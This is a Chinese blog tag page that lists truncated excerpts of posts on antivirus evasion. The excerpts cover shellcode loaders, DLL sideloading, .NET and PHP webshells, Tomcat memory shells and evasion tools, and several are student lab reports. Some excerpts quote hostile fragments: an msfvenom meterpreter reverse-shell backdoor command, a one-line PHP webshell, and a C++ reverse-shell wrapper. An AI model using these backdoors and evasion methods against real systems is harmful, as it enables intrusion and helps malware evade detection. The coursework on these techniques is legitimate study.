首页 > TAG信息列表 > 免杀

Go语言实现的木马免杀

Go-Shellcode-Bypass Golang实现的简单免杀，项目地址：https://github.com/Cuerz/Go-Shellcode-Bypass 免杀思路 原理：1.延长运行时间，导致杀软检测超时， ​ 2.利用杀软对golang的弱检测， ​ 3.对shellcode进行多次编码解码来隐藏特征， ​ 4.加载无关字符串混淆。 首先用msf或者cs

木马免杀

最近学了点木马免杀，其实总结起来一共有三个层面，代码面，文件面，逻辑面。 代码层面可以通过shellcode编码混淆，编辑执行器，分离加载器等方法进行免杀 文件面可以通过特征码定位，加壳花指令等方式 逻辑面可以通过一些反vt虚拟机的方法进行免杀 下面先介绍一些语言的shellcode加载方式和一

.NET安全、.NET免杀 | .NET WebShell 免杀系列之Unicode编码

0X01 背景 由dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题，这不今天有个群友问.NET WebShell 绕过和免杀的方法，.NET下通常用其他的类和方法触发命令执行，本文不走曲线救国的路线，走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具，那么请阅读者保持好奇心跟

python 实现nc功能 免杀案例——的确可以绕过奇安信，defender这些edr

这里仅用反弹powershell演示，大家可以发挥脑洞 自创反弹shell免杀五部曲: 1:确定想法 2:实现框架 3:增加保护 4:启动木马 5:维持会话或提权 1|2一,确定想法 用python服务器与客户端的原理制作反弹shell的控制端与被控制端, 最后执行在会话中执行恶意命令来获

反思

近日转岗失败原因以及反思 面试内容： 漏洞，bypass，安全设备，linux，免杀，app，内网，代码审计，应急。总结来讲涉及得比较全面。 总结：平日工作内容主要为渗透挖漏洞，不涉及app及以后内容，但对每块都有学习涉及。每个方面都有没答上来的，回想：做过哪些免杀，ios渗透，android函数hook，内网简单问了些答出

一句话木马免杀.md

一句话木马 目录一句话木马php方法收集 php 方法 字符串变形： substr(string, start, length) <?php $a = 'a'.'s'.'s'.'e'.'r'.'t'; $a($_POST['x']); ?> <?php $a = substr('1a',1)

『免杀』白加黑

一、白加黑 1）白就是此文件在杀软的白名单中，不会被杀软查杀；黑就是我们的恶意代码，由自己编写。通常白加黑共同组成木马的被控端，最大限度的逃避杀软查杀，增强抗杀能力，而且方便免杀处理。一般情况下，白为.exe可执行程序（带有数字签名），黑为.dll文件或者其他，黑文件里面加入了我们自己编写的

【原创】ShellCode免杀的骚姿势

ShellCode免杀的骚姿势 常见的免杀手法： shellcode(攻击代码)和加载程序的分离； Lolbins白利用加载shellcode（白名单利用）； shellcode混淆、编码解码； shellcode(攻击代码)和加载程序的分离 生成一个C语言的playload做测试实验； 本质上生成c的payload就是16进制的代码，这些代码插入目标

20192421 2021-2022-2 《网络与系统攻防技术》实验三实验报告

一、实验内容 1.正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 veil，加壳工具 使用C + shellcode编程 2.通过组合应用各种技术实现恶意代码免杀 如果成功实现了免杀的，简单语言描述原理，不要截图。与

学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告

学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告 目录学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告1.实验内容2.实验过程2.1 正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧2.1.1 正确使用msf编码器，使用msfvenom生成如jar

20192430 2021-2022-2 《网络与系统攻防技术》实验三实验报告

一、实验内容 (1)正确使用免杀工具或技巧 正确使用msf编码器，加壳工具和shellcode编程 (2)组合应用技术实现恶意代码免杀 (3)实测在杀软开启的情况下，可运行并成功回连 二、实验要求 掌握免杀原理与技术 回答问题 （1）杀软是如何检测出恶意代码的？ 静态检测技术 n-gram字节代码作

20192410 2021-2022-2 《网络与系统攻防技术》实验三 免杀原理与实践 实验报告

20192410 2021-2022-2 《网络与系统攻防技术》实验三 免杀原理与实践 实验报告 1.实验内容 (1)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 veil，加壳工具 使用C + shellcode编程 (2)通过组合应

20192428魏来 《网络与系统系统攻防技术》实验三 免杀原理与实践

《网络与系统攻防技术》实验三 免杀原理与实践 实践目标 正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 veil，加壳工具 使用C + shellcode编程 通过组合应用各种技术实现恶意代码免杀 如果成功实

Exp3-免杀原理

Exp3-免杀原理 基础问题回答 （1）杀软是如何检测出恶意代码的？ 杀软工程师将一些恶意软件提取特征码发布到病毒库中，用户更新病毒库就相当于更新了特征码库。 杀毒软件在杀毒过程中把当前检测样本文件特征码与病毒库中病毒特征码进行比对，特征码相同则报毒并且查杀，否则进行更多的处理。

Exp3-免杀原理

20191218 Exp3-免杀原理 实验过程 一、正确使用msf编码器、msfvenom生成如jar之类的其他文件 免杀检测 参考实验二Exp2-后门原理与实践中的第三个小实验，在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe

网络对抗实验三 免杀原理与实践

基础知识问答 （1）杀软是如何检测出恶意代码的？ ​ 1.基于特征码检测 ​ a.很多软件都会有各种特征码记成的特征库 ​ b.恶意软件的一个或几个片断就可作为识别依据。 ​ 2.也有启发式恶意软件的检测 ​ a.宁杀错不放过 ​ 3.基于行为的检测 （2）免杀是做什么？ ​ 1.

Exp3-免杀原理与实践

Exp3-免杀原理 姓名：徐海文     学号：20191228    课程：网络对抗技术 一、基础问题回答 1.杀软是如何检测出恶意代码的？ （1）基于特征码的检测 特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。 （2）启

EXP3-免杀原理与实践

基础问题问答 1.1 杀软是如何检测出恶意代码的？ 1.2 免杀是做什么？ 1.3 免杀的基本方法有哪些？ 实践内容 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 检测直接生成的后门exe文件（实验二中的后门程序） 检出率为54/70 使用Unicode编码 msfvenom -p windows/meterpreter/reve

20192413宗俊豪 2021-2022-2 《网络与系统攻防技术》实验三实验报告

20192413 宗俊豪 2021-2022-2 《网络与系统攻防技术》实验三实验报告 1.实验内容 (1)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 veil，加壳工具 使用C + shellcode编程 (2)通过组合应用各

Powershell 免杀过 defender 火绒，附自动化工具

技术交流  关注微信公众号 Z20安全团队 , 回复 加群 ，拉你入群 一起讨论技术。 直接公众号文章复制过来的，排版可能有点乱， 可以去公众号看。   powershell执行策略修改 1 获取 PowerShell当前执行策略 Get-ExecutionPolicy windows默认配置为Restricted 2 设置执

免杀工具Phanom_evasion

关于免杀，工具繁多，这里随便推荐一款曾经我特别喜欢用的。Phanom_evasion，只能绕过火绒，不能绕过Windows Defender 免杀木马生成工具 Phantom-Evasion is an antivirus evasion tool written in python (both compatible with python and python3) capable to generate (almost) fu

powershell语言特性（免杀方法）

powershell语言特性（免杀方法） 参考文章：https://www.cnblogs.com/linuxsec/articles/7384582.html 本文章主要对上述文章的绕过方法进行实验验证，并对一些知识做出些许说明。 一些前置知识 想要完全理解下面的绕过方法，您可能还需了解其他知识点，下面列出的知识，只是是我在学习过程中

【免杀技术】Tomcat内存马-Filter

Tomcat内存马-Filter型 什么是内存马？为什么要有内存马？什么又是Filter型内存马？这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过程： 加载web.xml配置文件 读取filter的信息，并将其保存在context对象里的filterDef,filterConfigs,filterMapper

C++木马免杀过国产杀软

C++木马免杀过国产杀软 作者: liusuxy / liusuxyds 开源，开思路 原理说明: C++将运行木马的代码用函数套娃 代码编写: #include <stdio.h> #include <stdlib.h> int main3() { system(" 这里放入Base64后的一句话反弹SHELL "); return 0; } int main2() { //system("c

免杀基础[py调用shellcode]

py免杀基础之shellcode调用 AUTHOR:ILU 什么是shellcode shellcode是一段用于利用软件漏洞而执行的代码，shellcode为16进制的机器码，因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后，塞入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击